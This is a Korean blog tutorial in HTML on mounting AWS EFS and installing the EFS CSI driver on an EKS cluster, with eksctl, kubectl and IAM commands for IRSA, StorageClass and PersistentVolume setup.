&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;AWS EFS는 완전 관리형 파일 시스템으로 로컬 시스템의 NFS와 사용방법이 유사합니다.&lt;/p&gt;
&lt;blockquote style=&quot;color: #666666; text-align: left;&quot; data-ke-style=&quot;style2&quot;&gt;AWS EFS는 Amazon Web Services (AWS)의 Elastic File System을 나타냅니다. 이는 클라우드 기반의 관리형 파일 시스템 서비스로, 스토리지를 필요로 하는 애플리케이션을 위해 확장 가능한 파일 스토리지를 제공합니다. AWS EFS는 여러 EC2 인스턴스에서 동시에 액세스할 수 있고, 데이터를 저장하고 공유할 수 있는 기능을 제공합니다. 이는 고성능, 확장 가능성 및 내결함성을 제공하여 다양한 애플리케이션 및 워크로드에 이상적입니다. AWS EFS를 사용하면 데이터를 쉽게 관리하고 액세스할 수 있으며, 필요한 만큼 용량을 조정할 수 있습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;[출처: ChatGPT]&lt;br /&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;CloudFormation 원클릭 배포에 설정되어 있는 EFS를 확인하고 마운트 해줍니다. nfs4 타입으로 마운트 된 것을 확인할 수 있는데 이를 통해 원격 저장소가 마치 로컬에 저장소가 존재하는 것처럼 사용할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710825997177&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# EFS 확인 : AWS 관리콘솔 EFS 확인해보자
echo $EfsFsId
mount -t efs -o tls $EfsFsId:/ /mnt/myefs
df -hT --type nfs4&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-18 오후 4.28.14.png&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MOs2h/btsFSceYmPJ/Nk9EytY3Rvc0KCFxcOdI5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MOs2h/btsFSceYmPJ/Nk9EytY3Rvc0KCFxcOdI5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MOs2h/btsFSceYmPJ/Nk9EytY3Rvc0KCFxcOdI5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMOs2h%2FbtsFSceYmPJ%2FNk9EytY3Rvc0KCFxcOdI5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;183&quot; data-filename=&quot;스크린샷 2024-03-18 오후 4.28.14.png&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;테스트를 통해 마운트가 제대로 잘 걸려있는지 확인해보고 삭제합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710825997177&quot; class=&quot;jboss-cli&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;echo &quot;efs file test&quot; &amp;gt; /mnt/myefs/memo.txt
cat /mnt/myefs/memo.txt
rm -f /mnt/myefs/memo.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-18 오후 4.35.45.png&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;61&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5N6WF/btsFRAUQlox/VCHhfnFhJUS9viVusxKKV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5N6WF/btsFRAUQlox/VCHhfnFhJUS9viVusxKKV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5N6WF/btsFRAUQlox/VCHhfnFhJUS9viVusxKKV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5N6WF%2FbtsFRAUQlox%2FVCHhfnFhJUS9viVusxKKV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;61&quot; data-filename=&quot;스크린샷 2024-03-18 오후 4.35.45.png&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;61&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;AWS EFS Controller&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS EFS는 IP기반의 네트워크 저장소이기 때문에 AZ과 상관없이 네트워크 통신만 가능하면 부착할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;560&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WDJwp/btsFWsnC1KJ/EF8SfEfFFOHMputBXM0I4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WDJwp/btsFWsnC1KJ/EF8SfEfFFOHMputBXM0I4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WDJwp/btsFWsnC1KJ/EF8SfEfFFOHMputBXM0I4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWDJwp%2FbtsFWsnC1KJ%2FEF8SfEfFFOHMputBXM0I4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;560&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;560&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled2.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1tYtO/btsFS2xi4yc/XMkj4XvWB9zgAWVFij2f7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1tYtO/btsFS2xi4yc/XMkj4XvWB9zgAWVFij2f7k/img.png&quot; data-alt=&quot;출처 :&amp;amp;amp;nbsp;https://dev.to/awscommunity-asean/aws-eks-with-efs-csi-driver-and-irsa-using-cdk-dgc&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1tYtO/btsFS2xi4yc/XMkj4XvWB9zgAWVFij2f7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1tYtO%2FbtsFS2xi4yc%2FXMkj4XvWB9zgAWVFij2f7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;627&quot; data-filename=&quot;Untitled2.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :&amp;amp;nbsp;https://dev.to/awscommunity-asean/aws-eks-with-efs-csi-driver-and-irsa-using-cdk-dgc&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Amazon E FS CSI driver as an Amazon EKS add-on&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;현재 EKS 클러스터의 버전에서 Amazon EFS CFI Driver의 기본 설치 버전을 확인할 수 있으며 이를 설치하는 것이 가장 좋습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1710833543954&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Amazon EFS CSI Driver 버전 정보 (True = 기본 설치 버전)
aws eks describe-addon-versions \
    --addon-name aws-efs-csi-driver \
    --kubernetes-version 1.28 \
    --query &quot;addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]&quot; \
    --output text&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 4.33.37.png&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b68CE3/btsFT1LQFuX/mbtwTCKakJToZFK6Pb2Nzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b68CE3/btsFT1LQFuX/mbtwTCKakJToZFK6Pb2Nzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b68CE3/btsFT1LQFuX/mbtwTCKakJToZFK6Pb2Nzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb68CE3%2FbtsFT1LQFuX%2FmbtwTCKakJToZFK6Pb2Nzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;162&quot; data-filename=&quot;스크린샷 2024-03-19 오후 4.33.37.png&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; href=&quot;https://velog.io/@rockwellvinca/EKS-AWS-EBS-CSI-Driver-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EA%B5%AC%EC%84%B1&quot;&gt;AWS E FS CSI Driver&lt;/a&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;와 마찬가지로&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;IAM 정책이 AWS에서 공식 제공&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;됩니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1710826948485&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# IAM 정책 생성
curl -s -O https://raw.githubusercontent.com/kubernetes-sigs/aws-efs-csi-driver/master/docs/iam-policy-example.json
aws iam create-policy --policy-name AmazonEKS_EFS_CSI_Driver_Policy --policy-document file://iam-policy-example.json

# ISRA 설정 : 고객관리형 정책 AmazonEKS_EFS_CSI_Driver_Policy 사용
eksctl create iamserviceaccount \
  --name efs-csi-controller-sa \
  --namespace kube-system \
  --cluster ${CLUSTER_NAME} \
  --attach-policy-arn arn:aws:iam::${ACCOUNT_ID}:policy/AmazonEKS_EFS_CSI_Driver_Policy \
  --approve&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 3.19.37.png&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btShCi/btsFVusNk64/qJcBOQQRkjx7G3MTCw1NI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btShCi/btsFVusNk64/qJcBOQQRkjx7G3MTCw1NI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btShCi/btsFVusNk64/qJcBOQQRkjx7G3MTCw1NI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtShCi%2FbtsFVusNk64%2FqJcBOQQRkjx7G3MTCw1NI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1223&quot; height=&quot;359&quot; data-filename=&quot;스크린샷 2024-03-19 오후 3.19.37.png&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1710831967952&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# ISRA 확인
kubectl get sa -n kube-system efs-csi-controller-sa -o yaml | head -5
eksctl get iamserviceaccount --cluster myeks&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 4.06.29.png&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JtqYk/btsFUczF4YU/LvT8ZbKzp4WIU5oGqZhKKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JtqYk/btsFUczF4YU/LvT8ZbKzp4WIU5oGqZhKKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JtqYk/btsFUczF4YU/LvT8ZbKzp4WIU5oGqZhKKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJtqYk%2FbtsFUczF4YU%2FLvT8ZbKzp4WIU5oGqZhKKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;224&quot; data-filename=&quot;스크린샷 2024-03-19 오후 4.06.29.png&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;Add-on으로 Amazon EFS CSI Driver를 설치하고 확인합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #000000; text-align: left;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# EFS Controller Add-on 설치
eksctl create addon --name aws-efs-csi-driver\
 --cluster ${CLUSTER_NAME}\
 --service-account-role-arn arn:aws:iam::${ACCOUNT_ID}:role/AmazonEKS_EFS_CSI_DriverRole\
 --force&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 6.12.03.png&quot; data-origin-width=&quot;1013&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQ0wej/btsFWir7irx/tNaUWLKadn9N4XPf9vPDFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQ0wej/btsFWir7irx/tNaUWLKadn9N4XPf9vPDFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQ0wej/btsFWir7irx/tNaUWLKadn9N4XPf9vPDFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQ0wej%2FbtsFWir7irx%2FtNaUWLKadn9N4XPf9vPDFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1013&quot; height=&quot;144&quot; data-filename=&quot;스크린샷 2024-03-19 오후 6.12.03.png&quot; data-origin-width=&quot;1013&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.21.11.png&quot; data-origin-width=&quot;2173&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfP7NC/btsFX6dMaZV/QmVAFEIKn6dmtCf1UxkLrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfP7NC/btsFX6dMaZV/QmVAFEIKn6dmtCf1UxkLrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfP7NC/btsFX6dMaZV/QmVAFEIKn6dmtCf1UxkLrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfP7NC%2FbtsFX6dMaZV%2FQmVAFEIKn6dmtCf1UxkLrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2173&quot; height=&quot;286&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.21.11.png&quot; data-origin-width=&quot;2173&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1710912144554&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Amazon EKS 클러스터 Add-On 확인
eksctl get addon --cluster ${CLUSTER_NAME}

# Amazon EFS CSI Driver 설치 자원 확인
kubectl get pod -n kube-system -l &quot;app.kubernetes.io/name=aws-efs-csi-driver,app.kubernetes.io/instance=aws-efs-csi-driver&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.23.39.png&quot; data-origin-width=&quot;1579&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cy8jNJ/btsFUHGSvWs/Bq0qF5pkf5bOFJLwufQYhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cy8jNJ/btsFUHGSvWs/Bq0qF5pkf5bOFJLwufQYhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cy8jNJ/btsFUHGSvWs/Bq0qF5pkf5bOFJLwufQYhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcy8jNJ%2FbtsFUHGSvWs%2FBq0qF5pkf5bOFJLwufQYhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1579&quot; height=&quot;204&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.23.39.png&quot; data-origin-width=&quot;1579&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.22.39.png&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crPGA1/btsFWDJ9X6z/VeRRiRzIfdT2F6n3RAvBR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crPGA1/btsFWDJ9X6z/VeRRiRzIfdT2F6n3RAvBR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crPGA1/btsFWDJ9X6z/VeRRiRzIfdT2F6n3RAvBR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrPGA1%2FbtsFWDJ9X6z%2FVeRRiRzIfdT2F6n3RAvBR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1374&quot; height=&quot;160&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.22.39.png&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;EFS 파일시스템을 다수의 파드가 사용하게 설정: Add empty StorageClasses from static example&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;figure id=&quot;og_1710917540148&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;EFS CSI Driver | EKS Workshop&quot; data-og-description=&quot;Before we dive into this section, make sure to familiarized yourself with the Kubernetes storage objects (volumes, persistent volumes (PV), persistent volume claim (PVC), dynamic provisioning and ephemeral storage) that were introduced on the Storage main &quot; data-og-host=&quot;www.eksworkshop.com&quot; data-og-source-url=&quot;https://www.eksworkshop.com/docs/fundamentals/storage/efs/efs-csi-driver/&quot; data-og-url=&quot;https://www.eksworkshop.com/docs/fundamentals/storage/efs/efs-csi-driver&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/ekgygi/hyVDGDI3OA/kyiJ84yn1BuXwAV6QYSHm1/img.png?width=495&amp;amp;height=186&amp;amp;face=0_0_495_186,https://scrap.kakaocdn.net/dn/cf28Ay/hyVDBoSAZ0/UI8SthVmZWBrBUjTsaf2GK/img.png?width=495&amp;amp;height=186&amp;amp;face=0_0_495_186&quot;&gt;&lt;a href=&quot;https://www.eksworkshop.com/docs/fundamentals/storage/efs/efs-csi-driver/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.eksworkshop.com/docs/fundamentals/storage/efs/efs-csi-driver/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/ekgygi/hyVDGDI3OA/kyiJ84yn1BuXwAV6QYSHm1/img.png?width=495&amp;amp;height=186&amp;amp;face=0_0_495_186,https://scrap.kakaocdn.net/dn/cf28Ay/hyVDBoSAZ0/UI8SthVmZWBrBUjTsaf2GK/img.png?width=495&amp;amp;height=186&amp;amp;face=0_0_495_186');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;EFS CSI Driver | EKS Workshop&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Before we dive into this section, make sure to familiarized yourself with the Kubernetes storage objects (volumes, persistent volumes (PV), persistent volume claim (PVC), dynamic provisioning and ephemeral storage) that were introduced on the Storage main&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.eksworkshop.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1710917337617&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모니터링 (별도의 터미널)
watch 'kubectl get sc efs-sc; echo; kubectl get pv,pvc,pod'

# 실습 코드 clone
git clone https://github.com/kubernetes-sigs/aws-efs-csi-driver.git /root/efs-csi
cd /root/efs-csi/examples/kubernetes/multiple_pods/specs &amp;amp;&amp;amp; tree

# EFS 스토리지클래스 생성 및 확인
cat storageclass.yaml | yh
kubectl apply -f storageclass.yaml
kubectl get sc efs-sc&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 3.50.09.png&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cI3sB9/btsFWKQe9Kx/99i7eCOn8byF3yxfkNz3O1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cI3sB9/btsFWKQe9Kx/99i7eCOn8byF3yxfkNz3O1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cI3sB9/btsFWKQe9Kx/99i7eCOn8byF3yxfkNz3O1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcI3sB9%2FbtsFWKQe9Kx%2F99i7eCOn8byF3yxfkNz3O1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;104&quot; data-filename=&quot;스크린샷 2024-03-20 오후 3.50.09.png&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 EFS 스토리지 클래스의 파일시스템ID를 생성할 PV의 volumeHandle로 설정합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710917462149&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# PV 생성 및 확인 : volumeHandle을 자신의 EFS 파일시스템ID로 변경
EfsFsId=$(aws efs describe-file-systems --query &quot;FileSystems[*].FileSystemId&quot; --output text)
sed -i &quot;s/fs-4af69aab/$EfsFsId/g&quot; pv.yaml

cat pv.yaml | yh
kubectl apply -f pv.yaml
kubectl get pv; kubectl describe pv&lt;/code&gt;&lt;/pre&gt;
